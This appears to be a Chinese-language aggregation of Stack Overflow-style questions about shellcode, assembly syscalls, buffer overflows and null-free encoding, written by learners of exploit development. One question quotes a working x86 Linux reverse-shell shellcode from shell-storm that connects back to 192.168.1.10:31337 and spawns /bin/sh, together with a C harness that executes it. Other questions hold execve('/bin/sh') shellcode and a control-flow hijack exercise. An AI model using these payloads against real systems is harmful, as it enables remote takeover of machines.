标签: shellcode

Mac OSX 64 位程序集 - fork() test/jne 不起作用?

我正在尝试编写一个执行fork()系统调用的程序,并且子/父项分别写入不同的字符串和exit(0).

问题是 - 虽然fork()成功了(因为我看到了 2 行输出),但由于某种原因,父进程和子进程都输出了父字符串。

这是代码:

BITS 64

section .data
msg1:    db    "Hello from child", 0x0a
len1:    equ   $-msg1
msg2:    db    "Hello from parent", 0x0a
len2:    equ   $-msg2

section .text
global start

start:
        xor rax,rax
        mov rax,0x2000002    ; fork() syscall
        syscall

        test eax,eax
        jne flow_parent

        mov rax, 0x2000004   ; SYS_write
        mov rdi, 1           ; stdout
        mov rsi, msg1
        mov rdx, len1
        syscall

        xor rdi,rdi
        mov rax,0x2000001
        syscall

flow_parent:
        mov rax, 0x2000004   ; SYS_write …
Run Code Online (Sandbox Code Playgroud)

assembly fork x86-64 system-calls shellcode

3
推荐指数
1
解决办法
763
查看次数

int(*ret)()=(int(*)())代码是什么意思?

这是shellstorm的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}
Run Code Online (Sandbox Code Playgroud)

任何人都可以帮我解释一下这个"int(ret)()=(int()())代码;" ?它是如何工作的?为什么它可以使上面的代码运行?

c exploit shellcode

3
推荐指数
2
解决办法
7295
查看次数

在 Linux 机器上创建并测试 x86-64 ELF 可执行 shellcode

我正在创建有关缓冲区溢出和堆栈/堆攻击的培训。我正在 Ubuntu 12.04 x86_64机器上工作,想要展示一些有错误的程序示例以及利用这些漏洞的方法。

我试图从迄今为止找到的最基本的 shellcode 开始,即简单的 exit 调用,它应该退出溢出的程序。

因此exitcall.asm

;exitcall.asm

[SECTION .text]

global _start

_start:
    xor ebx,ebx     ; zero out ebx, same function as mov ebx,0
    mov al, 1       ; exit command to kernel
    int 0x80
Run Code Online (Sandbox Code Playgroud)

我从其他教程中得到了这个 asm 文件,但它是为i386架构编写的。接下来要做的是生成一个目标文件并将其设为二进制可执行文件:

# nasm -f elf64 exitcall.asm

# ld -o exitcall exitcall.o 

# file exitcall

        exitcall: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, not stripped

# strace ./exitcall

        execve("./exitcall", ["./exitcall"], [/* 73 vars */]) …
Run Code Online (Sandbox Code Playgroud)

linux x86-64 nasm elf shellcode

3
推荐指数
1
解决办法
6372
查看次数

缓冲区溢出调用函数

我正在学习缓冲区溢出,并发现了一个程序有点像这样的挑战:

int main() {
    do_something()
    return 0;
}

void do_something() {
    //get inputs
    printf("Did something.");
}

void do_something_else() {
    printf("Did something else.")
}
Run Code Online (Sandbox Code Playgroud)

假设 中存在缓冲区溢出do_something(),我将如何使其调用该函数do_something_else()

c buffer-overflow shellcode

3
推荐指数
2
解决办法
6563
查看次数

ARM,GNU汇编程序:如何将"数组"参数传递给execve()?

我正在编写一个简单的shellcode,它需要execve()一个ARM平台(Raspberry PI上的Linux)并且第二个参数被困在了execve.根据文件:

int execve(const char *filename, char *const argv[], char *const envp[]);
Run Code Online (Sandbox Code Playgroud)

如果我打电话execve("/bin/sh", {NULL}, {NULL});(从装配的角度来看),这对我来说完全削减了它:

.data

.section .rodata

.command:
        .string "/bin/sh"

.text

.globl _start

_start: 
        mov r7, #11
        ldr r0, =.command
        eor r1, r1 @ temporarily forget about argv
        eor r2, r2 @ don't mind envp too
        svc #0

        mov r7, #1
        eor r0, r0
        svc #0
Run Code Online (Sandbox Code Playgroud)

上面的程序集很好地编译,并在我的测试机器上运行时唤起shell /bin/sh.但是,我所有的麻烦都是在特定的目标盒子上没有/bin/sh本身,但只有一个符号链接busybox需要我执行类似的东西execve("/bin/busybox", {"/bin/busybox", "sh", NULL}, {NULL}).

至于我的理解,数组在内存中是连续的,所以我所要做的就是以连续的方式在内存中分配字节,然后将指针提供给我认为是"数组"的开头.考虑到这一点,我尝试了以下内容: …

linux assembly arm execve shellcode

3
推荐指数
1
解决办法
1210
查看次数

在python3中输出十六进制值

我正在使用 python3 编写 shellcode 漏洞。但是,当我尝试输出一些十六进制字节时。例如使用线 -python3 -c 'print("\x8c")' | xxd

xxd中的值为c28c,而不是预期的8c

python2中不会出现这个问题。

python hex python-3.x shellcode

3
推荐指数
1
解决办法
1405
查看次数

x86汇编:文本部分中的数据

我不太明白变量如何存储在文本部分以及如何操作它们.不应该所有变量都在.data部分中,并且不是.text部分只读的所有部分吗?那么这段代码是如何工作的呢?

[代码取自Shellcoder的手册 ]

Section .text
global _start

_start:
    jmp short GotoCall

shellcode:
    pop esi
    xor eax, eax
    mov byte [esi + 7], al
    lea ebx, [esi]
    mov long [esi + 8], ebx
    mov long [esi + 12], eax
    mov byte al, 0x0b
    mov ebx, esi
    lea ecx, [esi + 8]
    lea edx, [esi + 12]
    int 0x80

GotoCall:
    call shellcode
    db '/bin/shJAAAAKKKK'
Run Code Online (Sandbox Code Playgroud)

assembly shellcode

3
推荐指数
2
解决办法
1797
查看次数

GAS 汇编器不使用 2 字节相对 JMP 位移编码(仅 1 字节或 4 字节)

我正在尝试为不允许 0x00 字节的 CTF 挑战编写 shellcode(它将被解释为终止符)。由于挑战的限制,我必须做这样的事情:

[shellcode bulk]
[(0x514 - sizeof(shellcode bulk)) filler bytes]
[fixed constant data to overwrite global symbols]
[shellcode data]
Run Code Online (Sandbox Code Playgroud)

它看起来像这样

.intel_syntax noprefix
.code32

shellcode:
    jmp sc_data

shellcode_main:
    #open
    xor eax, eax
    pop ebx         //file string
    xor ecx, ecx    //flags
    xor edx, edx    //mode
    mov al, 5       //sys_OPEN
    int 0x80

    ...  // more shellcode

.org 514, 0x41     // filler bytes
.long 0xffffffff   // bss constant overwrite

sc_data:
    call shellcode_main
    .asciz "/path/to/fs/file"
Run Code Online (Sandbox Code Playgroud)

如果sc_datashellcode. 在这种情况下,汇编器 …

x86 assembly gnu-assembler machine-code shellcode

3
推荐指数
1
解决办法
898
查看次数

如何在没有 0x00 或 0xFF 字节的情况下获取 x86_64 中的指令指针?

有没有不使用访问指令指针(RIP)的值的方式call,随后由pop汇编语言?或者是否有可以做到这一点的机器代码操作码?

我一直在谷歌搜索没有明确的结果。

我的问题是机器代码中不能有任何零,否则我会收到 SIGSEGV 错误。这是由于服务器加载代码并从一串字节执行它的方式。近调用在到子例程的距离上为零,因此不能选择使用调用。

我使用的是 64 位 linux,并且有 nasm 和 yasm。

assembly x86-64 program-counter shellcode

3
推荐指数
1
解决办法
2585
查看次数

x86 Assembly为什么使用Push / Pop代替Mov?

我有一些来自shell代码有效负载的示例代码,显示了for循环并使用push / pop设置计数器:

push 9
pop ecx
Run Code Online (Sandbox Code Playgroud)

为什么不能只使用mov?

mov ecx, 9
Run Code Online (Sandbox Code Playgroud)

x86 assembly exploit shellcode

3
推荐指数
1
解决办法
174
查看次数